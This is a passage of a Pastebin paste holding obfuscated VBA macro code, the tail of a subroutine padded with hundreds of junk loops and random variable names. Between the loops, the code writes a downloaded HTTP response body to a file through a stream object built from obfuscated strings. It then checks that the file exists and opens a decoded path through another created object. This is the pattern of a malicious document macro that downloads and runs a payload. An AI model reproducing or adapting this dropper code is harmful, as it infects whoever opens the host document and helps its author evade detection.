  845. Next qlOQxDQfUAv
  846. Dim aQtOotqBET As Integer
  847. For aQtOotqBET = 809 To 809 + 5
  848. DoEvents
  849. Next aQtOotqBET
  850. Dim tBOqKpNfFgr As Integer
  851. For tBOqKpNfFgr = 735 To 735 + 5
  852. DoEvents
  853. Next tBOqKpNfFgr
  854. Dim DYOFSdLLzlM As Integer
  855. For DYOFSdLLzlM = 1713 To 1713 + 5
  856. DoEvents
  857. Next DYOFSdLLzlM
  858. Dim OqKpNfFgr As Integer
  859. For OqKpNfFgr = 735 To 735 + 5
  860. DoEvents
  861. Next OqKpNfFgr
  862. Set Antkhrp9gTyfJ3 = CreateObject(ZRCOUP(dvr5p))
  863. Dim JDVTqLkqmyB As Integer
  864. For JDVTqLkqmyB = 542 To 542 + 5
  865. DoEvents
  866. Next JDVTqLkqmyB
  867. Dim ejwtcpOOq As Integer
  868. For ejwtcpOOq = 657 To 657 + 5
  869. DoEvents
  870. Next ejwtcpOOq
  871. Dim EIunuZzlA As Integer
  872. For EIunuZzlA = 2396 To 2396 + 5
  873. DoEvents
  874. Next EIunuZzlA
  875. Dim stauzHxdmml As Integer
  876. For stauzHxdmml = 753 To 753 + 5
  877. DoEvents
  878. Next stauzHxdmml
  879. Dim peJFFE As Integer
  880. For peJFFE = 245 To 245 + 5
  881. DoEvents
  882. Next peJFFE
  883. With Antkhrp9gTyfJ3
  884. Dim nJQYCP As Integer
  885. For nJQYCP = 453 To 453 + 5
  886. DoEvents
  887. Next nJQYCP
  888. Dim bstOPaxeHYD As Integer
  889. For bstOPaxeHYD = 1531 To 1531 + 5
  890. DoEvents
  891. Next bstOPaxeHYD
  892. Dim AVumj As Integer
  893. For AVumj = 1877 To 1877 + 5
  894. DoEvents
  895. Next AVumj
  896. .Type = 1
  897. Dim YpBpnhzwS As Integer
  898. For YpBpnhzwS = 738 To 738 + 5
  899. DoEvents
  900. Next YpBpnhzwS
  901. Dim LakESFsSpo As Integer
  902. For LakESFsSpo = 249 To 249 + 5
  903. DoEvents
  904. Next LakESFsSpo
  905. Dim ijhmQel As Integer
  906. For ijhmQel = 1328 To 1328 + 5
  907. DoEvents
  908. Next ijhmQel
  909. Dim Cbhdor As Integer
  910. For Cbhdor = 851 To 851 + 5
  911. DoEvents
  912. Next Cbhdor
  913. Dim YcqnVjII As Integer
  914. For YcqnVjII = 536 To 536 + 5
  915. DoEvents
  916. Next YcqnVjII
  917. .Open
  918. Dim rVGBqKBsFQz As Integer
  919. For rVGBqKBsFQz = 2453 To 2453 + 5
  920. DoEvents
  921. Next rVGBqKBsFQz
  922. Dim kQlqyn As Integer
  923. For kQlqyn = 1851 To 1851 + 5
  924. DoEvents
  925. Next kQlqyn
  926. Dim RuNtQjvjh As Integer
  927. For RuNtQjvjh = 1217 To 1217 + 5
  928. DoEvents
  929. Next RuNtQjvjh
  930. Dim pPmlNuLyC As Integer
  931. For pPmlNuLyC = 1123 To 1123 + 5
  932. DoEvents
  933. Next pPmlNuLyC
  934. Dim lbeVuYCAiQri As Integer
  935. For lbeVuYCAiQri = 1870 To 1870 + 5
  936. DoEvents
  937. Next lbeVuYCAiQri
  938. .Write kSrmQYLjBtNSgg.responseBody
  939. Dim HMxqxcpoEI As Integer
  940. For HMxqxcpoEI = 1427 To 1427 + 5
  941. DoEvents
  942. Next HMxqxcpoEI
  943. Dim VtdntpB As Integer
  944. For VtdntpB = 793 To 793 + 5
  945. DoEvents
  946. Next VtdntpB
  947. Dim HlPzvk As Integer
  948. For HlPzvk = 2141 To 2141 + 5
  949. DoEvents
  950. Next HlPzvk
  951. Dim DyceJ As Integer
  952. For DyceJ = 2267 To 2267 + 5
  953. DoEvents
  954. Next DyceJ
  955. Dim mjGqAGCOfgBD As Integer
  956. For mjGqAGCOfgBD = 813 To 813 + 5
  957. DoEvents
  958. Next mjGqAGCOfgBD
  959. .SaveToFile strSaveTo
  960. Dim evJfSdAvZaG As Integer
  961. For evJfSdAvZaG = 703 To 703 + 5
  962. DoEvents
  963. Next evJfSdAvZaG
  964. Dim CmxDzK As Integer
  965. For CmxDzK = 420 To 420 + 5
  966. DoEvents
  967. Next CmxDzK
  968. .Close
  969. Dim fGdbDlC As Integer
  970. For fGdbDlC = 735 To 735 + 5
  971. DoEvents
  972. Next fGdbDlC
  973. Dim gqZZLLnvIkE As Integer
  974. For gqZZLLnvIkE = 2286 To 2286 + 5
  975. DoEvents
  976. Next gqZZLLnvIkE
  977. Dim CpcDZYA As Integer
  978. For CpcDZYA = 1038 To 1038 + 5
  979. DoEvents
  980. Next CpcDZYA
  981. Dim iYOdnVVIIks As Integer
  982. For iYOdnVVIIks = 469 To 469 + 5
  983. DoEvents
  984. Next iYOdnVVIIks
  985. End With
  986. Dim vypOeQG As Integer
  987. For vypOeQG = 1594 To 1594 + 5
  988. DoEvents
  989. Next vypOeQG
  990. Dim KRiIIYOQI As Integer
  991. For KRiIIYOQI = 328 To 328 + 5
  992. DoEvents
  993. Next KRiIIYOQI
  994. Set Antkhrp9gTyfJ3 = Nothing
  995. Dim Ocbrvy As Integer
  996. For Ocbrvy = 1089 To 1089 + 5
  997. DoEvents
  998. Next Ocbrvy
  999. Dim ZlBQY As Integer
  1000. For ZlBQY = 505 To 505 + 5
  1001. DoEvents
  1002. Next ZlBQY
  1003. Dim VvYCn As Integer
  1004. For VvYCn = 2276 To 2276 + 5
  1005. DoEvents
  1006. Next VvYCn
  1007.  
  1008. Dim xRuzMJsF As Integer
  1009. For xRuzMJsF = 1019 To 1019 + 5
  1010. DoEvents
  1011. Next xRuzMJsF
  1012. Dim SQVHAHmMyNR As Integer
  1013. For SQVHAHmMyNR = 1162 To 1162 + 5
  1014. DoEvents
  1015. Next SQVHAHmMyNR
  1016. If hxuWnpbqBtp4u.FileExists(strSaveTo) Then
  1017. Dim ahoSgfvyB As Integer
  1018. For ahoSgfvyB = 88 To 88 + 5
  1019. DoEvents
  1020. Next ahoSgfvyB
  1021. Dim QSSQVHA As Integer
  1022. For QSSQVHA = 1541 To 1541 + 5
  1023. DoEvents
  1024. Next QSSQVHA
  1025. Dim qOeQGorL As Integer
  1026. For qOeQGorL = 929 To 929 + 5
  1027. DoEvents
  1028. Next qOeQGorL
  1029. Dim RIiKpaVJfUL As Integer
  1030. For RIiKpaVJfUL = 1181 To 1181 + 5
  1031. DoEvents
  1032. Next RIiKpaVJfUL
  1033. Dim vmLbTDl As Integer
  1034. For vmLbTDl = 660 To 660 + 5
  1035. DoEvents
  1036. Next vmLbTDl
  1037. End If
  1038. Dim AfFrHLNF As Integer
  1039. For AfFrHLNF = 1199 To 1199 + 5
  1040. DoEvents
  1041. Next AfFrHLNF
  1042. Dim mLbTDloI As Integer
  1043. For mLbTDloI = 1865 To 1865 + 5
  1044. DoEvents
  1045. Next mLbTDloI
  1046. Dim oEHKCbEjT As Integer
  1047. For oEHKCbEjT = 393 To 393 + 5
  1048. DoEvents
  1049. Next oEHKCbEjT
  1050. Dim wftRStCOr As Integer
  1051. For wftRStCOr = 1281 To 1281 + 5
  1052. DoEvents
  1053. Next wftRStCOr
  1054. Dim oFrvVJGASP As Integer
  1055. For oFrvVJGASP = 509 To 509 + 5
  1056. DoEvents
  1057. Next oFrvVJGASP
  1058. Dim tcpOOqyL As Integer
  1059. For tcpOOqyL = 1109 To 1109 + 5
  1060. DoEvents
  1061. Next tcpOOqyL
  1062. Dim AULCPaIIwi As Integer
  1063. For AULCPaIIwi = 634 To 634 + 5
  1064. DoEvents
  1065. Next AULCPaIIwi
  1066. Set ыјјыва = CreateObject(ZRCOUP(pIna0CSVNsu))
  1067. Dim dBQJtc As Integer
  1068. For dBQJtc = 969 To 969 + 5
  1069. DoEvents
  1070. Next dBQJtc
  1071. Dim rkrVwixBEw As Integer
  1072. For rkrVwixBEw = 1508 To 1508 + 5
  1073. DoEvents
  1074. Next rkrVwixBEw
  1075. ыјјыва.Open ijnK2g & ZRCOUP(WWNcjAI4U)
  1076. Dim QsgpNHlnTo As Integer
  1077. For QsgpNHlnTo = 2223 To 2223 + 5
  1078. DoEvents
  1079. Next QsgpNHlnTo
  1080. Dim MYpqLMQubET As Integer
  1081. For MYpqLMQubET = 1368 To 1368 + 5
  1082. DoEvents
  1083. Next MYpqLMQubET
  1084. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top